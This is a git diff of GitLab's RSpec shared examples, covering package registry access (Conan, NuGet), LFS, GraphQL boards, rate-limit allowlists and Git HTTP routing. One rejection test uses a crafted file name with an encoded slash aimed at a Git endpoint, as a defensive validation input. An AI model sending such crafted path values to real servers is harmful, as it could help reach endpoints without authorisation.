@@ -629,6 +629,7 @@ RSpec.shared_examples 'workhorse recipe file upload endpoint' do
it_behaves_like 'rejects invalid recipe'
it_behaves_like 'rejects invalid file_name', 'conanfile.py.git%2fgit-upload-pack'
it_behaves_like 'uploads a package file'
+ it_behaves_like 'creates build_info when there is a job'
end
RSpec.shared_examples 'workhorse package file upload endpoint' do
@@ -649,6 +650,7 @@ RSpec.shared_examples 'workhorse package file upload endpoint' do
it_behaves_like 'rejects invalid recipe'
it_behaves_like 'rejects invalid file_name', 'conaninfo.txttest'
it_behaves_like 'uploads a package file'
+ it_behaves_like 'creates build_info when there is a job'
context 'tracking the conan_package.tgz upload' do
let(:file_name) { ::Packages::Conan::FileMetadatum::PACKAGE_BINARY }
@@ -657,6 +659,20 @@ RSpec.shared_examples 'workhorse package file upload endpoint' do
end
end
+RSpec.shared_examples 'creates build_info when there is a job' do
+ context 'with job token' do
+ let(:jwt) { build_jwt_from_job(job) }
+
+ it 'creates a build_info record' do
+ expect { subject }.to change { Packages::BuildInfo.count }.by(1)
+ end
+
+ it 'creates a package_file_build_info record' do
+ expect { subject }.to change { Packages::PackageFileBuildInfo.count }.by(1)
+ end
+ end
+end
+
RSpec.shared_examples 'uploads a package file' do
context 'file size above maximum limit' do
before do
diff --git a/spec/support/shared_examples/requests/api/graphql/group_and_project_boards_query_shared_examples.rb b/spec/support/shared_examples/requests/api/graphql/group_and_project_boards_query_shared_examples.rb
index 5145880ef9a..54f4ba7ff73 100644
--- a/spec/support/shared_examples/requests/api/graphql/group_and_project_boards_query_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/graphql/group_and_project_boards_query_shared_examples.rb
@@ -47,18 +47,12 @@ RSpec.shared_examples 'group and project boards query' do
describe 'sorting and pagination' do
let(:data_path) { [board_parent_type, :boards] }
- def pagination_query(params, page_info)
- graphql_query_for(
- board_parent_type,
- { 'fullPath' => board_parent.full_path },
- query_graphql_field('boards', params, "#{page_info} edges { node { id } }")
+ def pagination_query(params)
+ graphql_query_for(board_parent_type, { full_path: board_parent.full_path },
+ query_nodes(:boards, :id, include_pagination_info: true, args: params)
)
end
- def pagination_results_data(data)
- data.map { |board| board.dig('node', 'id') }
- end
-
context 'when using default sorting' do
let!(:board_B) { create(:board, resource_parent: board_parent, name: 'B') }
let!(:board_C) { create(:board, resource_parent: board_parent, name: 'C') }
@@ -72,9 +66,9 @@ RSpec.shared_examples 'group and project boards query' do
let(:first_param) { 2 }
let(:expected_results) do
if board_parent.multiple_issue_boards_available?
- boards.map { |board| board.to_global_id.to_s }
+ boards.map { |board| global_id_of(board) }
else
- [boards.first.to_global_id.to_s]
+ [global_id_of(boards.first)]
end
end
end
diff --git a/spec/support/shared_examples/requests/api/nuget_endpoints_shared_examples.rb b/spec/support/shared_examples/requests/api/nuget_endpoints_shared_examples.rb
new file mode 100644
index 00000000000..f808d12baf4
--- /dev/null
+++ b/spec/support/shared_examples/requests/api/nuget_endpoints_shared_examples.rb
@@ -0,0 +1,265 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'handling nuget service requests' do
+ subject { get api(url) }
+
+ context 'with valid project' do
+ using RSpec::Parameterized::TableSyntax
+
+ context 'personal token' do
+ where(:project_visibility_level, :user_role, :member, :user_token, :shared_examples_name, :expected_status) do
+ 'PUBLIC' | :developer | true | true | 'process nuget service index request' | :success
+ 'PUBLIC' | :guest | true | true | 'process nuget service index request' | :success
+ 'PUBLIC' | :developer | true | false | 'process nuget service index request' | :success
+ 'PUBLIC' | :guest | true | false | 'process nuget service index request' | :success
+ 'PUBLIC' | :developer | false | true | 'process nuget service index request' | :success
+ 'PUBLIC' | :guest | false | true | 'process nuget service index request' | :success
+ 'PUBLIC' | :developer | false | false | 'process nuget service index request' | :success
+ 'PUBLIC' | :guest | false | false | 'process nuget service index request' | :success
+ 'PUBLIC' | :anonymous | false | true | 'process nuget service index request' | :success
+ 'PRIVATE' | :developer | true | true | 'process nuget service index request' | :success
+ 'PRIVATE' | :guest | true | true | 'rejects nuget packages access' | :forbidden
+ 'PRIVATE' | :developer | true | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :guest | true | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :developer | false | true | 'rejects nuget packages access' | :not_found
+ 'PRIVATE' | :guest | false | true | 'rejects nuget packages access' | :not_found
+ 'PRIVATE' | :developer | false | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :guest | false | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :anonymous | false | true | 'rejects nuget packages access' | :unauthorized
+ end
+
+ with_them do
+ let(:token) { user_token ? personal_access_token.token : 'wrong' }
+ let(:headers) { user_role == :anonymous ? {} : basic_auth_header(user.username, token) }
+
+ subject { get api(url), headers: headers }
+
+ before do
+ project.update!(visibility_level: Gitlab::VisibilityLevel.const_get(project_visibility_level, false))
+ end
+
+ it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status], params[:member]
+ end
+ end
+
+ context 'with job token' do
+ where(:project_visibility_level, :user_role, :member, :user_token, :shared_examples_name, :expected_status) do
+ 'PUBLIC' | :developer | true | true | 'process nuget service index request' | :success
+ 'PUBLIC' | :guest | true | true | 'process nuget service index request' | :success
+ 'PUBLIC' | :developer | true | false | 'rejects nuget packages access' | :unauthorized
+ 'PUBLIC' | :guest | true | false | 'rejects nuget packages access' | :unauthorized
+ 'PUBLIC' | :developer | false | true | 'process nuget service index request' | :success
+ 'PUBLIC' | :guest | false | true | 'process nuget service index request' | :success
+ 'PUBLIC' | :developer | false | false | 'rejects nuget packages access' | :unauthorized
+ 'PUBLIC' | :guest | false | false | 'rejects nuget packages access' | :unauthorized
+ 'PUBLIC' | :anonymous | false | true | 'process nuget service index request' | :success
+ 'PRIVATE' | :developer | true | true | 'process nuget service index request' | :success
+ 'PRIVATE' | :guest | true | true | 'rejects nuget packages access' | :forbidden
+ 'PRIVATE' | :developer | true | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :guest | true | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :developer | false | true | 'rejects nuget packages access' | :not_found
+ 'PRIVATE' | :guest | false | true | 'rejects nuget packages access' | :not_found
+ 'PRIVATE' | :developer | false | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :guest | false | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :anonymous | false | true | 'rejects nuget packages access' | :unauthorized
+ end
+
+ with_them do
+ let(:job) { user_token ? create(:ci_build, project: project, user: user, status: :running) : double(token: 'wrong') }
+ let(:headers) { user_role == :anonymous ? {} : job_basic_auth_header(job) }
+
+ subject { get api(url), headers: headers }
+
+ before do
+ project.update!(visibility_level: Gitlab::VisibilityLevel.const_get(project_visibility_level, false))
+ end
+
+ it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status], params[:member]
+ end
+ end
+ end
+
+ it_behaves_like 'deploy token for package GET requests'
+
+ it_behaves_like 'rejects nuget access with unknown project id'
+
+ it_behaves_like 'rejects nuget access with invalid project id'
+end
+
+RSpec.shared_examples 'handling nuget metadata requests with package name' do
+ include_context 'with expected presenters dependency groups'
+
+ let_it_be(:package_name) { 'Dummy.Package' }
+ let_it_be(:packages) { create_list(:nuget_package, 5, :with_metadatum, name: package_name, project: project) }
+ let_it_be(:tags) { packages.each { |pkg| create(:packages_tag, package: pkg, name: 'test') } }
+
+ subject { get api(url) }
+
+ before do
+ packages.each { |pkg| create_dependencies_for(pkg) }
+ end
+
+ context 'with valid project' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:project_visibility_level, :user_role, :member, :user_token, :shared_examples_name, :expected_status) do
+ 'PUBLIC' | :developer | true | true | 'process nuget metadata request at package name level' | :success
+ 'PUBLIC' | :guest | true | true | 'process nuget metadata request at package name level' | :success
+ 'PUBLIC' | :developer | true | false | 'process nuget metadata request at package name level' | :success
+ 'PUBLIC' | :guest | true | false | 'process nuget metadata request at package name level' | :success
+ 'PUBLIC' | :developer | false | true | 'process nuget metadata request at package name level' | :success
+ 'PUBLIC' | :guest | false | true | 'process nuget metadata request at package name level' | :success
+ 'PUBLIC' | :developer | false | false | 'process nuget metadata request at package name level' | :success
+ 'PUBLIC' | :guest | false | false | 'process nuget metadata request at package name level' | :success
+ 'PUBLIC' | :anonymous | false | true | 'process nuget metadata request at package name level' | :success
+ 'PRIVATE' | :developer | true | true | 'process nuget metadata request at package name level' | :success
+ 'PRIVATE' | :guest | true | true | 'rejects nuget packages access' | :forbidden
+ 'PRIVATE' | :developer | true | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :guest | true | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :developer | false | true | 'rejects nuget packages access' | :not_found
+ 'PRIVATE' | :guest | false | true | 'rejects nuget packages access' | :not_found
+ 'PRIVATE' | :developer | false | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :guest | false | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :anonymous | false | true | 'rejects nuget packages access' | :unauthorized
+ end
+
+ with_them do
+ let(:token) { user_token ? personal_access_token.token : 'wrong' }
+ let(:headers) { user_role == :anonymous ? {} : basic_auth_header(user.username, token) }
+
+ subject { get api(url), headers: headers }
+
+ before do
+ project.update!(visibility_level: Gitlab::VisibilityLevel.const_get(project_visibility_level, false))
+ end
+
+ it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status], params[:member]
+ end
+
+ it_behaves_like 'deploy token for package GET requests'
+
+ it_behaves_like 'rejects nuget access with unknown project id'
+
+ it_behaves_like 'rejects nuget access with invalid project id'
+ end
+end
+
+RSpec.shared_examples 'handling nuget metadata requests with package name and package version' do
+ include_context 'with expected presenters dependency groups'
+
+ let_it_be(:package_name) { 'Dummy.Package' }
+ let_it_be(:package) { create(:nuget_package, :with_metadatum, name: 'Dummy.Package', project: project) }
+ let_it_be(:tag) { create(:packages_tag, package: package, name: 'test') }
+
+ subject { get api(url) }
+
+ before do
+ create_dependencies_for(package)
+ end
+
+ context 'with valid project' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:project_visibility_level, :user_role, :member, :user_token, :shared_examples_name, :expected_status) do
+ 'PUBLIC' | :developer | true | true | 'process nuget metadata request at package name and package version level' | :success
+ 'PUBLIC' | :guest | true | true | 'process nuget metadata request at package name and package version level' | :success
+ 'PUBLIC' | :developer | true | false | 'process nuget metadata request at package name and package version level' | :success
+ 'PUBLIC' | :guest | true | false | 'process nuget metadata request at package name and package version level' | :success
+ 'PUBLIC' | :developer | false | true | 'process nuget metadata request at package name and package version level' | :success
+ 'PUBLIC' | :guest | false | true | 'process nuget metadata request at package name and package version level' | :success
+ 'PUBLIC' | :developer | false | false | 'process nuget metadata request at package name and package version level' | :success
+ 'PUBLIC' | :guest | false | false | 'process nuget metadata request at package name and package version level' | :success
+ 'PUBLIC' | :anonymous | false | true | 'process nuget metadata request at package name and package version level' | :success
+ 'PRIVATE' | :developer | true | true | 'process nuget metadata request at package name and package version level' | :success
+ 'PRIVATE' | :guest | true | true | 'rejects nuget packages access' | :forbidden
+ 'PRIVATE' | :developer | true | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :guest | true | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :developer | false | true | 'rejects nuget packages access' | :not_found
+ 'PRIVATE' | :guest | false | true | 'rejects nuget packages access' | :not_found
+ 'PRIVATE' | :developer | false | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :guest | false | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :anonymous | false | true | 'rejects nuget packages access' | :unauthorized
+ end
+
+ with_them do
+ let(:token) { user_token ? personal_access_token.token : 'wrong' }
+ let(:headers) { user_role == :anonymous ? {} : basic_auth_header(user.username, token) }
+
+ subject { get api(url), headers: headers }
+
+ before do
+ project.update!(visibility_level: Gitlab::VisibilityLevel.const_get(project_visibility_level, false))
+ end
+
+ it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status], params[:member]
+ end
+ end
+
+ it_behaves_like 'deploy token for package GET requests'
+
+ context 'with invalid package name' do
+ let_it_be(:package_name) { 'Unkown' }
+
+ it_behaves_like 'rejects nuget packages access', :developer, :not_found
+ end
+end
+
+RSpec.shared_examples 'handling nuget search requests' do
+ let_it_be(:package_a) { create(:nuget_package, :with_metadatum, name: 'Dummy.PackageA', project: project) }
+ let_it_be(:tag) { create(:packages_tag, package: package_a, name: 'test') }
+ let_it_be(:packages_b) { create_list(:nuget_package, 5, name: 'Dummy.PackageB', project: project) }
+ let_it_be(:packages_c) { create_list(:nuget_package, 5, name: 'Dummy.PackageC', project: project) }
+ let_it_be(:package_d) { create(:nuget_package, name: 'Dummy.PackageD', version: '5.0.5-alpha', project: project) }
+ let_it_be(:package_e) { create(:nuget_package, name: 'Foo.BarE', project: project) }
+ let(:search_term) { 'uMmy' }
+ let(:take) { 26 }
+ let(:skip) { 0 }
+ let(:include_prereleases) { true }
+ let(:query_parameters) { { q: search_term, take: take, skip: skip, prerelease: include_prereleases } }
+
+ subject { get api(url) }
+
+ context 'with valid project' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:project_visibility_level, :user_role, :member, :user_token, :shared_examples_name, :expected_status) do
+ 'PUBLIC' | :developer | true | true | 'process nuget search request' | :success
+ 'PUBLIC' | :guest | true | true | 'process nuget search request' | :success
+ 'PUBLIC' | :developer | true | false | 'process nuget search request' | :success
+ 'PUBLIC' | :guest | true | false | 'process nuget search request' | :success
+ 'PUBLIC' | :developer | false | true | 'process nuget search request' | :success
+ 'PUBLIC' | :guest | false | true | 'process nuget search request' | :success
+ 'PUBLIC' | :developer | false | false | 'process nuget search request' | :success
+ 'PUBLIC' | :guest | false | false | 'process nuget search request' | :success
+ 'PUBLIC' | :anonymous | false | true | 'process nuget search request' | :success
+ 'PRIVATE' | :developer | true | true | 'process nuget search request' | :success
+ 'PRIVATE' | :guest | true | true | 'rejects nuget packages access' | :forbidden
+ 'PRIVATE' | :developer | true | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :guest | true | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :developer | false | true | 'rejects nuget packages access' | :not_found
+ 'PRIVATE' | :guest | false | true | 'rejects nuget packages access' | :not_found
+ 'PRIVATE' | :developer | false | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :guest | false | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :anonymous | false | true | 'rejects nuget packages access' | :unauthorized
+ end
+
+ with_them do
+ let(:token) { user_token ? personal_access_token.token : 'wrong' }
+ let(:headers) { user_role == :anonymous ? {} : basic_auth_header(user.username, token) }
+
+ subject { get api(url), headers: headers }
+
+ before do
+ project.update!(visibility_level: Gitlab::VisibilityLevel.const_get(project_visibility_level, false))
+ end
+
+ it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status], params[:member]
+ end
+ end
+
+ it_behaves_like 'deploy token for package GET requests'
+
+ it_behaves_like 'rejects nuget access with unknown project id'
+
+ it_behaves_like 'rejects nuget access with invalid project id'
+end
diff --git a/spec/support/shared_examples/requests/api/nuget_packages_shared_examples.rb b/spec/support/shared_examples/requests/api/nuget_packages_shared_examples.rb
index 58e99776fd9..dc6ac5f0371 100644
--- a/spec/support/shared_examples/requests/api/nuget_packages_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/nuget_packages_shared_examples.rb
@@ -12,7 +12,7 @@ RSpec.shared_examples 'rejects nuget packages access' do |user_type, status, add
it 'has the correct response header' do
subject
- expect(response.headers['Www-Authenticate: Basic realm']).to eq 'GitLab Packages Registry'
+ expect(response.headers['WWW-Authenticate']).to eq 'Basic realm="GitLab Packages Registry"'
end
end
end
@@ -26,7 +26,7 @@ RSpec.shared_examples 'process nuget service index request' do |user_type, statu
it_behaves_like 'returning response status', status
- it_behaves_like 'a package tracking event', described_class.name, 'cli_metadata'
+ it_behaves_like 'a package tracking event', 'API::NugetPackages', 'cli_metadata'
it 'returns a valid json response' do
subject
@@ -169,7 +169,7 @@ RSpec.shared_examples 'process nuget upload' do |user_type, status, add_member =
context 'with correct params' do
it_behaves_like 'package workhorse uploads'
it_behaves_like 'creates nuget package files'
- it_behaves_like 'a package tracking event', described_class.name, 'push_package'
+ it_behaves_like 'a package tracking event', 'API::NugetPackages', 'push_package'
end
end
@@ -286,7 +286,7 @@ RSpec.shared_examples 'process nuget download content request' do |user_type, st
it_behaves_like 'returning response status', status
- it_behaves_like 'a package tracking event', described_class.name, 'pull_package'
+ it_behaves_like 'a package tracking event', 'API::NugetPackages', 'pull_package'
it 'returns a valid package archive' do
subject
@@ -336,7 +336,7 @@ RSpec.shared_examples 'process nuget search request' do |user_type, status, add_
it_behaves_like 'returns a valid json search response', status, 4, [1, 5, 5, 1]
- it_behaves_like 'a package tracking event', described_class.name, 'search_package'
+ it_behaves_like 'a package tracking event', 'API::NugetPackages', 'search_package'
context 'with skip set to 2' do
let(:skip) { 2 }
diff --git a/spec/support/shared_examples/requests/graphql_shared_examples.rb b/spec/support/shared_examples/requests/graphql_shared_examples.rb
index 0045fe14501..a66bc7112fe 100644
--- a/spec/support/shared_examples/requests/graphql_shared_examples.rb
+++ b/spec/support/shared_examples/requests/graphql_shared_examples.rb
@@ -9,3 +9,8 @@ RSpec.shared_examples 'a working graphql query' do
expect(json_response.keys).to include('data')
end
end
+
+RSpec.shared_examples 'a mutation on an unauthorized resource' do
+ it_behaves_like 'a mutation that returns top-level errors',
+ errors: [::Gitlab::Graphql::Authorize::AuthorizeResource::RESOURCE_ACCESS_ERROR]
+end
diff --git a/spec/support/shared_examples/requests/lfs_http_shared_examples.rb b/spec/support/shared_examples/requests/lfs_http_shared_examples.rb
index 4ae77179527..294ceffd77b 100644
--- a/spec/support/shared_examples/requests/lfs_http_shared_examples.rb
+++ b/spec/support/shared_examples/requests/lfs_http_shared_examples.rb
@@ -65,12 +65,19 @@ end
RSpec.shared_examples 'LFS http requests' do
include LfsHttpHelpers
+ let(:lfs_enabled) { true }
let(:authorize_guest) {}
let(:authorize_download) {}
let(:authorize_upload) {}
let(:lfs_object) { create(:lfs_object, :with_file) }
let(:sample_oid) { lfs_object.oid }
+ let(:sample_size) { lfs_object.size }
+ let(:sample_object) { { 'oid' => sample_oid, 'size' => sample_size } }
+ let(:non_existing_object_oid) { '91eff75a492a3ed0dfcb544d7f31326bc4014c8551849c192fd1e48d4dd2c897' }
+ let(:non_existing_object_size) { 1575078 }
+ let(:non_existing_object) { { 'oid' => non_existing_object_oid, 'size' => non_existing_object_size } }
+ let(:multiple_objects) { [sample_object, non_existing_object] }
let(:authorization) { authorize_user }
let(:headers) do
@@ -89,13 +96,11 @@ RSpec.shared_examples 'LFS http requests' do
end
before do
- stub_lfs_setting(enabled: true)
+ stub_lfs_setting(enabled: lfs_enabled)
end
context 'when LFS is disabled globally' do
- before do
- stub_lfs_setting(enabled: false)
- end
+ let(:lfs_enabled) { false }
describe 'download request' do
before do
diff --git a/spec/support/shared_examples/requests/rack_attack_shared_examples.rb b/spec/support/shared_examples/requests/rack_attack_shared_examples.rb
index d4ee68309ff..5d300d38e4a 100644
--- a/spec/support/shared_examples/requests/rack_attack_shared_examples.rb
+++ b/spec/support/shared_examples/requests/rack_attack_shared_examples.rb
@@ -23,6 +23,11 @@ RSpec.shared_examples 'rate-limited token-authenticated requests' do
settings_to_set[:"#{throttle_setting_prefix}_period_in_seconds"] = period_in_seconds
end
+ after do
+ stub_env('GITLAB_THROTTLE_USER_ALLOWLIST', nil)
+ Gitlab::RackAttack.configure_user_allowlist
+ end
+
context 'when the throttle is enabled' do
before do
settings_to_set[:"#{throttle_setting_prefix}_enabled"] = true
@@ -30,6 +35,8 @@ RSpec.shared_examples 'rate-limited token-authenticated requests' do
end
it 'rejects requests over the rate limit' do
+ expect(Gitlab::Instrumentation::Throttle).not_to receive(:safelist=)
+
# At first, allow requests under the rate limit.
requests_per_period.times do
make_request(request_args)
@@ -40,6 +47,18 @@ RSpec.shared_examples 'rate-limited token-authenticated requests' do
expect_rejection { make_request(request_args) }
end
+ it 'does not reject requests if the user is in the allowlist' do
+ stub_env('GITLAB_THROTTLE_USER_ALLOWLIST', user.id.to_s)
+ Gitlab::RackAttack.configure_user_allowlist
+
+ expect(Gitlab::Instrumentation::Throttle).to receive(:safelist=).with('throttle_user_allowlist').at_least(:once)
+
+ (requests_per_period + 1).times do
+ make_request(request_args)
+ expect(response).not_to have_gitlab_http_status(:too_many_requests)
+ end
+ end
+
it 'allows requests after throttling and then waiting for the next period' do
requests_per_period.times do
make_request(request_args)
@@ -110,6 +129,14 @@ RSpec.shared_examples 'rate-limited token-authenticated requests' do
expect { make_request(request_args) }.not_to exceed_query_limit(control_count)
end
end
+
+ it_behaves_like 'tracking when dry-run mode is set' do
+ let(:throttle_name) { throttle_types[throttle_setting_prefix] }
+
+ def do_request
+ make_request(request_args)
+ end
+ end
end
context 'when the throttle is disabled' do
@@ -159,6 +186,11 @@ RSpec.shared_examples 'rate-limited web authenticated requests' do
settings_to_set[:"#{throttle_setting_prefix}_period_in_seconds"] = period_in_seconds
end
+ after do
+ stub_env('GITLAB_THROTTLE_USER_ALLOWLIST', nil)
+ Gitlab::RackAttack.configure_user_allowlist
+ end
+
context 'when the throttle is enabled' do
before do
settings_to_set[:"#{throttle_setting_prefix}_enabled"] = true
@@ -166,6 +198,8 @@ RSpec.shared_examples 'rate-limited web authenticated requests' do
end
it 'rejects requests over the rate limit' do
+ expect(Gitlab::Instrumentation::Throttle).not_to receive(:safelist=)
+
# At first, allow requests under the rate limit.
requests_per_period.times do
request_authenticated_web_url
@@ -176,6 +210,18 @@ RSpec.shared_examples 'rate-limited web authenticated requests' do
expect_rejection { request_authenticated_web_url }
end
+ it 'does not reject requests if the user is in the allowlist' do
+ stub_env('GITLAB_THROTTLE_USER_ALLOWLIST', user.id.to_s)
+ Gitlab::RackAttack.configure_user_allowlist
+
+ expect(Gitlab::Instrumentation::Throttle).to receive(:safelist=).with('throttle_user_allowlist').at_least(:once)
+
+ (requests_per_period + 1).times do
+ request_authenticated_web_url
+ expect(response).not_to have_gitlab_http_status(:too_many_requests)
+ end
+ end
+
it 'allows requests after throttling and then waiting for the next period' do
requests_per_period.times do
request_authenticated_web_url
@@ -245,6 +291,14 @@ RSpec.shared_examples 'rate-limited web authenticated requests' do
expect(Gitlab::AuthLogger).to receive(:error).with(arguments).once
expect { request_authenticated_web_url }.not_to exceed_query_limit(control_count)
end
+
+ it_behaves_like 'tracking when dry-run mode is set' do
+ let(:throttle_name) { throttle_types[throttle_setting_prefix] }
+
+ def do_request
+ request_authenticated_web_url
+ end
+ end
end
context 'when the throttle is disabled' do
@@ -269,3 +323,63 @@ RSpec.shared_examples 'rate-limited web authenticated requests' do
end
end
end
+
+# Requires:
+# - #do_request - This needs to be a method so the result isn't memoized
+# - throttle_name
+RSpec.shared_examples 'tracking when dry-run mode is set' do
+ let(:dry_run_config) { '*' }
+
+ # we can't use `around` here, because stub_env isn't supported outside of the
+ # example itself
+ before do
+ stub_env('GITLAB_THROTTLE_DRY_RUN', dry_run_config)
+ reset_rack_attack
+ end
+
+ after do
+ stub_env('GITLAB_THROTTLE_DRY_RUN', '')
+ reset_rack_attack
+ end
+
+ def reset_rack_attack
+ Rack::Attack.reset!
+ Rack::Attack.clear_configuration
+ Gitlab::RackAttack.configure(Rack::Attack)
+ end
+
+ it 'does not throttle the requests when `*` is configured' do
+ (1 + requests_per_period).times do
+ do_request
+ expect(response).not_to have_gitlab_http_status(:too_many_requests)
+ end
+ end
+
+ it 'logs RackAttack info into structured logs' do
+ arguments = a_hash_including({
+ message: 'Rack_Attack',
+ env: :track,
+ remote_ip: '127.0.0.1',
+ matched: throttle_name
+ })
+
+ expect(Gitlab::AuthLogger).to receive(:error).with(arguments)
+
+ (1 + requests_per_period).times do
+ do_request
+ end
+ end
+
+ context 'when configured with the the throttled name in a list' do
+ let(:dry_run_config) do
+ "throttle_list, #{throttle_name}, other_throttle"
+ end
+
+ it 'does not throttle' do
+ (1 + requests_per_period).times do
+ do_request
+ expect(response).not_to have_gitlab_http_status(:too_many_requests)
+ end
+ end
+ end
+end
diff --git a/spec/support/shared_examples/requests/self_monitoring_shared_examples.rb b/spec/support/shared_examples/requests/self_monitoring_shared_examples.rb
index db11b1fe07d..ff87fc5d8df 100644
--- a/spec/support/shared_examples/requests/self_monitoring_shared_examples.rb
+++ b/spec/support/shared_examples/requests/self_monitoring_shared_examples.rb
@@ -20,6 +20,18 @@ RSpec.shared_examples 'not accessible to non-admin users' do
expect(response).to have_gitlab_http_status(:not_found)
end
end
+
+ context 'with authenticated admin user without admin mode' do
+ before do
+ login_as(create(:admin))
+ end
+
+ it 'redirects to enable admin mode' do
+ subject
+
+ expect(response).to redirect_to(new_admin_session_path)
+ end
+ end
end
# Requires subject and worker_class and status_api to be defined
diff --git a/spec/support/shared_examples/requests/uploads_auhorize_shared_examples.rb b/spec/support/shared_examples/requests/uploads_auhorize_shared_examples.rb
new file mode 100644
index 00000000000..9cef5cfc25e
--- /dev/null
+++ b/spec/support/shared_examples/requests/uploads_auhorize_shared_examples.rb
@@ -0,0 +1,61 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'handle uploads authorize request' do
+ before do
+ login_as(user)
+ end
+
+ describe 'POST authorize' do
+ it 'authorizes workhorse header' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.media_type.to_s).to eq(Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE)
+ expect(json_response['TempPath']).to eq(uploader_class.workhorse_local_upload_path)
+ end
+
+ it 'rejects requests that bypassed gitlab-workhorse' do
+ workhorse_headers.delete(Gitlab::Workhorse::INTERNAL_API_REQUEST_HEADER)
+
+ expect { subject }.to raise_error(JWT::DecodeError)
+ end
+
+ context 'when using remote storage' do
+ context 'when direct upload is enabled' do
+ before do
+ stub_uploads_object_storage(uploader_class, enabled: true, direct_upload: true)
+ end
+
+ it 'responds with status 200, location of file remote store and object details' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.media_type.to_s).to eq(Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE)
+ expect(json_response).not_to have_key('TempPath')
+ expect(json_response['RemoteObject']).to have_key('ID')
+ expect(json_response['RemoteObject']).to have_key('GetURL')
+ expect(json_response['RemoteObject']).to have_key('StoreURL')
+ expect(json_response['RemoteObject']).to have_key('DeleteURL')
+ expect(json_response['RemoteObject']).to have_key('MultipartUpload')
+ expect(json_response['MaximumSize']).to eq(maximum_size)
+ end
+ end
+
+ context 'when direct upload is disabled' do
+ before do
+ stub_uploads_object_storage(uploader_class, enabled: true, direct_upload: false)
+ end
+
+ it 'handles as a local file' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.media_type.to_s).to eq(Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE)
+ expect(json_response['TempPath']).to eq(uploader_class.workhorse_local_upload_path)
+ expect(json_response['RemoteObject']).to be_nil
+ expect(json_response['MaximumSize']).to eq(maximum_size)
+ end
+ end
+ end
+ end
+end
diff --git a/spec/support/shared_examples/routing/git_http_routing_shared_examples.rb b/spec/support/shared_examples/routing/git_http_routing_shared_examples.rb
new file mode 100644
index 00000000000..b0e1e942d81
--- /dev/null
+++ b/spec/support/shared_examples/routing/git_http_routing_shared_examples.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'git repository routes' do
+ let(:params) { { repository_path: path.delete_prefix('/') } }
+ let(:container_path) { path.delete_suffix('.git') }
+
+ it 'routes Git endpoints' do
+ expect(get("#{path}/info/refs")).to route_to('repositories/git_http#info_refs', **params)
+ expect(post("#{path}/git-upload-pack")).to route_to('repositories/git_http#git_upload_pack', **params)
+ expect(post("#{path}/git-receive-pack")).to route_to('repositories/git_http#git_receive_pack', **params)
+ end
+
+ context 'requests without .git format' do
+ it 'redirects requests to /info/refs', type: :request do
+ expect(get("#{container_path}/info/refs")).to redirect_to("#{container_path}.git/info/refs")
+ expect(get("#{container_path}/info/refs?service=git-upload-pack")).to redirect_to("#{container_path}.git/info/refs?service=git-upload-pack")
+ expect(get("#{container_path}/info/refs?service=git-receive-pack")).to redirect_to("#{container_path}.git/info/refs?service=git-receive-pack")
+ end
+
+ it 'does not redirect other requests' do
+ expect(post("#{container_path}/git-upload-pack")).not_to be_routable
+ end
+ end
+
+ it 'routes LFS endpoints' do
+ oid = generate(:oid)
+
+ expect(post("#{path}/info/lfs/objects/batch")).to route_to('repositories/lfs_api#batch', **params)
+ expect(post("#{path}/info/lfs/objects")).to route_to('repositories/lfs_api#deprecated', **params)
+ expect(get("#{path}/info/lfs/objects/#{oid}")).to route_to('repositories/lfs_api#deprecated', oid: oid, **params)
+
+ expect(post("#{path}/info/lfs/locks/123/unlock")).to route_to('repositories/lfs_locks_api#unlock', id: '123', **params)
+ expect(post("#{path}/info/lfs/locks/verify")).to route_to('repositories/lfs_locks_api#verify', **params)
+
+ expect(get("#{path}/gitlab-lfs/objects/#{oid}")).to route_to('repositories/lfs_storage#download', oid: oid, **params)
+ expect(put("#{path}/gitlab-lfs/objects/#{oid}/456/authorize")).to route_to('repositories/lfs_storage#upload_authorize', oid: oid, size: '456', **params)
+ expect(put("#{path}/gitlab-lfs/objects/#{oid}/456")).to route_to('repositories/lfs_storage#upload_finalize', oid: oid, size: '456', **params)
+
+ expect(put("#{path}/gitlab-lfs/objects/foo")).not_to be_routable
+ expect(put("#{path}/gitlab-lfs/objects/#{oid}/foo")).not_to be_routable
